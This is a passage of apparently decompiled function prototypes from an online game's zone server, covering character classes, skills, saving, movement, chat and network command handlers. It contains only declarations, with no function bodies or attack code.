*_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, CharaterSkillList::CharSkill _Val); void __thiscall CharaterSkillList::CharaterSkillList(CharaterSkillList *this); void __thiscall CharaterSkillList::csl_Store(CharaterSkillList *this, PROTO_NC_CHAR_SKILL_CMD *charskill); int __thiscall CharClass::MaxHP(CharClass *this, #325 *, Parameter::Cluster *); int __thiscall CharClass::MaxSP(CharClass *this, #325 *, Parameter::Cluster *); int __thiscall ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime(ItemAttrCls_ByteLot *this); AttackRhythm::AttackRhythmBase *__thiscall CharClass::cc_AttackRhythm(CharClass *this); char __thiscall CharClass::cc_CanNormalAttack(CharClass *this, #325 *target); int __thiscall CharClassMob::cc_ClassType(CharClassMob *this); AttackRhythm::AttackRhythmBase *__thiscall CharClassMob::cc_AttackRhythm(CharClassMob *this); int __thiscall CharClassMob::MaxHP(CharClassMob *this, #325 *, Parameter::Cluster *); bool __thiscall CharClassCleverFighter::cc_IsDescendantsOf(CharClassCleverFighter *this, int classType); bool __thiscall CharClassWarrior::cc_IsDescendantsOf(CharClassWarrior *this, int classType); bool __thiscall CharClassGladiator::cc_IsDescendantsOf(CharClassKnight *this, int classType); bool __thiscall CharClassHighCleric::cc_IsDescendantsOf(CharClassHighCleric *this, int classType); bool __thiscall CharClassPaladin::cc_IsDescendantsOf(CharClassPaladin *this, int classType); bool __thiscall CharClassHolyKnight::cc_IsDescendantsOf(CharClassGuardian *this, int classType); AttackRhythm::AttackRhythmBase *__thiscall CharClassArchar::cc_AttackRhythm(CharClassArchar *this); bool __thiscall CharClassHawkArcher::cc_IsDescendantsOf(CharClassHawkArcher *this, int classType); bool __thiscall CharClassScout::cc_IsDescendantsOf(CharClassScout *this, int classType); bool __thiscall CharClassRanger::cc_IsDescendantsOf(CharClassRanger *this, int classType); void __thiscall CharClassMage::cc_JustAfterSkill(CharClassMage *this, #740 *ply); bool __thiscall CharClassWizMage::cc_IsDescendantsOf(CharClassWizMage *this, int classType); bool __thiscall CharClassEnchanter::cc_IsDescendantsOf(CharClassEnchanter *this, int classType); bool __thiscall CharClassWarrock::cc_IsDescendantsOf(CharClassWizard *this, int classType); int __thiscall CharClassJoker::cc_PromoteClass(ItemAttrCls_Feed *this); bool __thiscall CharClassChaser::cc_IsDescendantsOf(CharClassChaser *this, int classType); int __thiscall CharClassChaser::cc_PromoteClass(ItemAttrCls_Riding *this); bool __thiscall CharClassCruel::cc_IsDescendantsOf(CharClassCruel *this, int classType); void __thiscall CharClassWizMage::_CharClassWizMage(CharClassAssassin *this); int __thiscall CharClassCloser::cc_PromoteClass(ItemAttrCls_Amount *this); int __thiscall CharClassAssassin::cc_ClassType(ItemAttrCls_UpgradeGoldGem *this); bool __thiscall CharClassAssassin::cc_IsDescendantsOf(CharClassAssassin *this, int classType); void __thiscall CharClassManager::CharClassManager(CharClassManager *this); void __thiscall CharClassManager::_CharClassManager(CharClassManager *this); void __thiscall CharClass::cc_Load(CharClass *this, Name4 *world, char *txt); void __thiscall CharClassManager::ccm_Load(CharClassManager *this, Name4 *world); char *__thiscall NameString::operator__(NameString *this, Name4 *a); CharClass *__thiscall CharClassManager::operator__(CharClassManager *this, char cc); void __cdecl ShineObjectClass::ShineObject::so_SetRegistNumber(int regnum); int __thiscall ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(int this); void __thiscall ShineObjectClass::ShinePlayer::so_SpamRecvDataFromWM(void *this, int Data); void __thiscall WorldManagerSession::wms_NC_CHAR_REGISTNUMBER_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_BASE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall PROTO_NC_CHAR_BASE_CMD::operator_(int this, int a2); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_SHAPE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_charsharpdata(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DOING_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDoing(void *this, int data); void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDone(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_ABSTATE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_GUILD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_GUILD_ACADEMY_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_PASSIVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_charpassivedata(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARGEDBUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_SKILL_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_charskilldata(void *this, int data); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_GAME_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_Storegamedata(void *this, int gamedata); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_ITEM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_accountstoragefill(void *this, int accstorage); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHESTINFO_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_ply_Getchestinform(int chest); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Getchestinform(void *this, int chest); void __thiscall WorldManagerSession::wms_NC_CHAR_GET_CHAT_BLOCK_SPAMER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ItemSmallBag::isb_Initializetotal(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype); int __thiscall ItemSmallBag::isb_FullBufferItem2Client(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box); void __thiscall ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(TableNameCompareArgument *this); void __thiscall ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer(void *this, signed int itemlist, int box); void __thiscall List::l_Clear(List *this); void __fastcall ShineObjectClass::ShinePlayer::so_SetRegistNumber(AbnormalStateContainer::AbnormalStateElement *this, int regnum, int regnuma); void __thiscall GameDBSession::gds_NC_SKILL_SKILLTEACHSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_SKILL_SKILLTEACHFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ(void *ecx0, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_SKILL_EMPOWALLOC_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall Proto_CharDataStruct::Proto_CharDataStruct(Proto_CharDataStruct *this); void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this); void __thiscall DataFromOtherMachineList::DataFromOtherMachineList(DataFromOtherMachineList *this); void __thiscall DataFromOtherMachineList::_DataFromOtherMachineList(DataFromOtherMachineList *this); int __thiscall ChargedItemEffectFinger::cief_GetFinger(ORErrorMessage *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); unsigned __int16 __cdecl RidingInitHungry(unsigned __int16 itmid); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this); void __thiscall RidePetDataBox::RidePetDataBox(RidePetDataBox *this); void __thiscall RidePetDataBox::_RidePetDataBox(RidePetDataBox *this); void __thiscall RidePetDataBox::rpdb_Load(RidePetDataBox *this); int __cdecl mysecond(int *pnt); ChargedItemEffect *__thiscall ChargedItemEffectDataBox::cideb_FindFromHandle(ChargedItemEffectDataBox *this, int handle); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); char __thiscall List::l_PopA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); char __thiscall List::l_PopZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffect *index, int year, int month, int date, int hour, int minute); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Free(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle, #434 *ply); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle, #434 *ply); void __thiscall ChargedItemEffectList::ChargedEffectList::_ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this); void __thiscall ChargedItemEffectList::ChargedEffectListRouter::ChargedEffectListRouter(ChargedItemEffectList::ChargedEffectListRouter *this, ChargedItemEffectList::ChargedItem *chargeditem, #434 *ply); void __thiscall ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter(ChargedItemEffectList::ChargedEffectListRouter *this); char __thiscall ChargedItemEffectList::ChargedEffectListRouter::lid_Call(ChargedItemEffectList::ChargedEffectListRouter *this, ChargedItemEffectList::ChargedItemEffectElement *ele, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemDelete(void *this, int cell, __int16 inventype, __int16 slot, int deltime); void __thiscall WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); char __thiscall List::l_PushA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele); void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemTest(void *this, int num); void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck(void *this, ItemBag *itembag, int inventype); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall ChargedItemEffectList::ChargedEffectList::ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this); int __thiscall Name8::operator_(int this, int a2); char *__thiscall NameString::operator__(NameString *this, Name8 *a); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ(void *this, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_ReviveReqProcess(_DWORD); // weak void __thiscall GameDBSession::gds_NC_CHAR_CLASSCHANGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ClassChange(void *this, unsigned __int8 newclass); void __thiscall ShineObjectClass::ShineNPC::so_NPCRevive(ShineObjectClass::ShineNPC *this, #434 *sp); void __thiscall ItemSmallBag::isb_Clear(ItemSmallBag *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall AxialListMobFind::AxialListMobFind(AxialListMobFind *this, unsigned __int16 mobid, int objtype, int skip); void __thiscall AxialListMobFind::_AxialListMobFind(AxialListMobFind *this); char __thiscall DropLocationManager::dlm_Getloc(DropLocationManager *this, SHINE_XY_TYPE *center, SHINE_XY_TYPE *loc, int scale); int __thiscall FieldMap::fm_Compare(int this, int lst, __int16 hnd, int a4); int __thiscall ShineObjectClass::ShineObject::so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineObject::so_collesioncheck(#325 *this, #325 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BriefLink(void *this, int mapname, int coord); int __thiscall ShineObjectClass::ShinePlayer::sp_Admin_FindMob(_DWORD, _DWORD); // weak FieldMap::FM_MarkingError __thiscall FieldMap::fm_Marking(#325 *, int, int, char); int __thiscall FieldMap::fm_RegenCity(int this); int __cdecl ShineObjectClass::ShineObject::so_SaveMisc2WMS(int buffer); int __cdecl ShineObjectClass::ShineObject::so_SaveCharTitle(int buf); int __cdecl ShineObjectClass::ShineObject::so_ply_SavePKCount(int buf); int __cdecl ShineObjectClass::ShineObject::so_SaveLocation(int buf); int __cdecl ShineObjectClass::ShineObject::so_SaveChestInfo(int buf); int __cdecl ShineObjectClass::ShineObject::so_SaveLevel(int buf); int __cdecl ShineObjectClass::ShineObject::so_SaveStat(int buf); int __cdecl ShineObjectClass::ShineObject::so_SaveGameData(int buf); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_QUEST_DOING_REQ *buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDoing(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD *buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveQuestDone(int this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD *buffer); int __cdecl ShineObjectClass::ShineObject::so_SaveAbstate(int buffer, int charid); char __cdecl ShineObjectClass::ShineObject::so_SaveItem_Part(int nc, int buf); int __cdecl ShineObjectClass::ShineObject::so_SaveItem(int buf); int __cdecl ShineObjectClass::ShineObject::so_SaveSkill(int buffer, int SkillSaveCheck); void __thiscall WholeSaver::ws_savelevel2worldmamager(WholeSaver *this, #434 *sp); void __thiscall WholeSaver::ws_save2worldmanager(WholeSaver *this, #434 *sp); int __thiscall PROTO_NC_CHARSAVE_ALL_REQ::operator_(int this, int a2); void __thiscall WholeSaver::ws_saveassure(WholeSaver *this); void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper(EventSaveCheck *this); void __thiscall EventSaveCheck::erb_happen(EventSaveCheck *this); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveMisc2WMS(void *this, int buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveCharTitle(void *this, int buf, int i); signed int __thiscall ShineObjectClass::ShinePlayer::so_ply_SavePKCount(void *this, int buf); int __thiscall ShineObjectClass::ShinePlayer::so_SaveChestInfo(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveLevel(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveStat(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveGameData(void *this, int buf); char __thiscall AbnormalStateSaver::lid_Call(AbnormalStateSaver *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::so_SaveAbstate(void *this, int buffer, Name4 *charid); int __thiscall ShineObjectClass::ShinePlayer::so_SaveItem(void *this, int buf); void __thiscall GameDBSession::gds_NC_CHARSAVE_ALL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_SKILL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ItemSmallBag::isb_FullBufferItem2Server(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int bufsize); int __thiscall ItemSmallBag::isb_ItemCount_Output(ItemSmallBag *this); void __thiscall WholeSaver::_WholeSaver(WholeSaver *this); void __thiscall WholeSaver::ws_save2DB(WholeSaver *this, #325 *, char, int); void __thiscall EventSaveCheck::EventSaveCheck(EventSaveCheck *this); char __thiscall ShineObjectClass::ShinePlayer::so_SaveItem_Part(void *this, int nc, int buf, int count); void __thiscall WholeSaver::WholeSaver(WholeSaver *this); void __thiscall CharaterSkillList::csl_FillSaveBuffer(CharaterSkillList *this, PROTO_NC_CHARSAVE_SKILL_REQ *buf, int SkillSaveCheck); int __thiscall ShineObjectClass::ShinePlayer::so_SaveSkill(void *this, int buffer, int SkillSaveCheck); char __thiscall MoveManager::mm_IsInReinforceMove(MoveManager *this); void __thiscall BriefInfoBackup::bib_Backup(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape); int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMovePacket(int this, __int16 command, int packet); bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(int this, int to); bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(int this, int from); char __thiscall ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck(void *this, int pFrom, int nBlockCnt, int nMaxBlock); void __thiscall AxialListMobDistribute::_AxialListMobDistribute(AxialListMobDistribute *this); char __thiscall AxialListMobDistribute::ali_Work(AxialListMobDistribute *this, #325 *, #325 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_StopHere(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ(void *this, int netcmd, int len, __int16 handle); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendMoveFail(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD(void *this, int netcmd, int len, int handle); void __thiscall ShineObjectClass::ShinePlayer::sp_DoEmotion(void *this, __int16 handle, unsigned __int8 emoticonID); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ(void *this, int netcmd, int len, signed int handle); void __cdecl ShineObjectClass::ShineObject::so_Chat(__int16 reciever, int chatstr, int len, char chatwin); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD(void *this, int netcmd, int len, signed int handle); void __cdecl ShineObjectClass::ShineObject::so_Shout(__int16 reciever, int chatername, int chatstr, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_MobDistribute(_DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SendSpeedInformation(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf); void __thiscall ShineObjectClass::ShinePlayer::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf); void __thiscall ShineObjectClass::ShineMobileObject::smo_ShootMeTo(void *this, int targetlocate); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); int __thiscall ShineObjectClass::ShineMobileObject::smo_ShadowStep(_DWORD, _DWORD); // weak void __thiscall ClientSession::ClientSession(ClientSession *this); void __thiscall ClientSessionNull::ClientSessionNull(ClientSessionNull *this); void __thiscall ClientSession::_ClientSession(ClientSessionNull *this); void __thiscall ClientSessionManager::ClientSessionManager(ClientSessionManager *this); void __thiscall ClientSessionManager::_ClientSessionManager(ClientSessionManager *this); int __thiscall ClientSession::CheckHeartBeat(ClientSession *this, int interval); char __thiscall ClientSession::Send_NC_MISC_SEED_ACK(ClientSession *this, int seed); char __thiscall ZoneListenSession::zls_TravelComplete(ZoneListenSession *this, ZONERINGLINKAGESTART *startblock); #325 *__thiscall ZoneListenSession::zls_FindPlayer(ZoneListenSession *this, ZONERINGLINKAGESTART *startblock); void __thiscall ZoneListenSession::ZoneListenSession(ZoneListenSession *this); void __thiscall ZoneListenSession::_ZoneListenSession(ZoneListenSession *this); ZoneListenSession *__thiscall OPToolSession::opts_ActivSession(ZoneListenSession *this, unsigned int SocketAccept, sockaddr *pAddr); int __thiscall PROTO_NC_CHAR_PLAYERSUMMON_RNG::operator_(int this, int a2); int __thiscall PROTO_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG::operator_(int this, int a2); void __thiscall ZoneListenSession::zls_DummyFunction(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MISC_ZONERINGLINKTEST_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERSUMMON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_KICKPLAYEROUT_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERBANNED_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_BY_NORMAL_USER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); int __thiscall ClientSessionManager::InitSessions(ClientSessionManager *this, int MaxSessions); unsigned __int16 __thiscall DamageByAngle::DamageTable::operator__(DamageByAngle::DamageTable *this, int delta); void __thiscall DamageByAngle::DamageTable::dt_Load(DamageByAngle::DamageTable *this, Name4 *world, char *table); void __cdecl std::fill(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Val); DamageBySoul::SoulDamateElement *__cdecl std::_Copy_opt(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); DamageBySoul::SoulDamateElement *__cdecl std::_Copy_backward_opt(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); DamageBySoul::SoulDamateElement *__cdecl std::_Uninit_copy>(DamageBySoul::SoulDamateElement *_First, DamageBySoul::SoulDamateElement *_Last, DamageBySoul::SoulDamateElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(DamageBySoul::SoulDamateElement *_First, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); DamageBySoul::SoulDamateElement *__thiscall std::vector>::_Ufill(std::vector > *this, DamageBySoul::SoulDamateElement *_Ptr, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, DamageBySoul::SoulDamateElement *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, DamageBySoul::SoulDamateElement _Val); void __thiscall DamageBySoul::SoulDamageContainer::sdc_Load(DamageBySoul::SoulDamageContainer *this, Name4 *world); unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::sp_HorseError(void *this, unsigned __int16 err); int __thiscall ShineObjectClass::ShinePlayer::sp_HorseFree(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseFree(void *this); bool __thiscall ShineObjectClass::ShinePlayer::sp_HorseNotHungry(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_GetHorseFeed(int this); void __thiscall DefSkillData::dsd_SetDefault(DefSkillData *this, PROTO_NC_CHAR_SKILL_CMD *data, CharClass *cc); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseCast(void *this, int slot); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemAttrSave(void *this, int ridecell, int itembox, int slot); void __thiscall ShineObjectClass::ShinePlayer::sp_SendHorseHungry(void *this, int hungry); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket(void *this, __int16 errorcode, char invenType); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseItemSave(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HorseFeed(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOn(void *this, unsigned __int8 skillcooltime); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOff(void *this); // void __usercall ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ(int a1, int a2, int netcmd, int foodcell, __int16 handle); void __thiscall DirectDistanceTable::ddt_Initialize(DirectDistanceTable *this); char *__thiscall ORErrorMessage::orem_GetMessage(ORErrorMessage *this); void __thiscall VectorClass::Vector::v_Rotation(VectorClass::Vector *this, int sr); int __thiscall DirectDistanceTable::ddt_ShineRadianDiff(DirectDistanceTable *this, int mydir, int targetdir, int *sign); char __thiscall FieldMap::fm_IsStreight(void *this, int xA, int yA, int xB, int yB); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SHINE_XY_TYPE *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SHINE_XY_TYPE _Val); void __thiscall std::vector>::push_back(std::vector > *this, SHINE_XY_TYPE *_Val); char __thiscall RadianMoveTrack::rmt_MakePath(RadianMoveTrack *this, std::vector > *path, VectorClass::Vector *startvector, int fromsr, int tosr, int depth); char __thiscall RadianMoveTrack::rmt_Calculate(RadianMoveTrack *this, StaticVector *path); void __thiscall DropItemAnalyzer::dia_Set(DropItemAnalyzer *this, unsigned __int16 mob, unsigned __int16 itm); void __thiscall 